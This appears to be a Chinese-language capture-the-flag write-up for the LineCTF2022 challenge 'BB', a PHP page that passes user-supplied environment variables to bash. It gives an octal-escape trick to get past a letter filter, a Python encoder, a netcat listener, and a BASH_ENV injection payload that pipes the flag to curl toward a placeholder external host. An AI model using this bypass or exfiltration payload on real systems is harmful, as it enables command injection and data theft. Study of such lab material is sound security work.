# [LineCTF2022]BB

<?php
    error_reporting(0);
    function bye($s, $ptn){
        if(preg_match($ptn, $s)){
            return false;
        }
        return true;
    }
    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
            putenv("{$k}={$v}");
        }
    }
    system("bash -c 'imdude'");
    
    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i")) {
            putenv("{$k}");
        }
    }
    highlight_file(__FILE__);
?>

用八进制可以进行绕过:

$'\101' = A

ord 字符转对应的 ascii

oct 十进制转八进制

$'\143\141\164\40\57\146\154\141\147'  ---cat flag
$'\143\141\164' /$'\146\154\141\147'  ----cat /flag

环境变量注入:

import string
# cmd = "cat /flag"
cmd = "cat /flag | curl -d @- http://xx.xx.xx.xx:7001"
str = ''
for i in cmd:
    if i in string.ascii_lowercase:
        j = oct(ord(i))[2:]
        str += "$'\\"+j+"'"
    else:
        str+=i
print(str)

服务器监听:

nc -lvnp 7001

GET 传参:

?env[BASH_ENV]=`$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://xx.xx.xx.xx:7001`

image-20241201212215360

0x 为 16 进制数字的表示

\x 为 16 进制的字符串表示

\ 为八进制的表示

50 是 2 的 ascii 码对应值

0x32 是十六进制表示,转为十进制就是 50

\x32 表示 50 对应的字符串,也就是 "2"

image-20241201212300413

参考链接:https://blog.csdn.net/RABCDXB/article/details/125351004

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal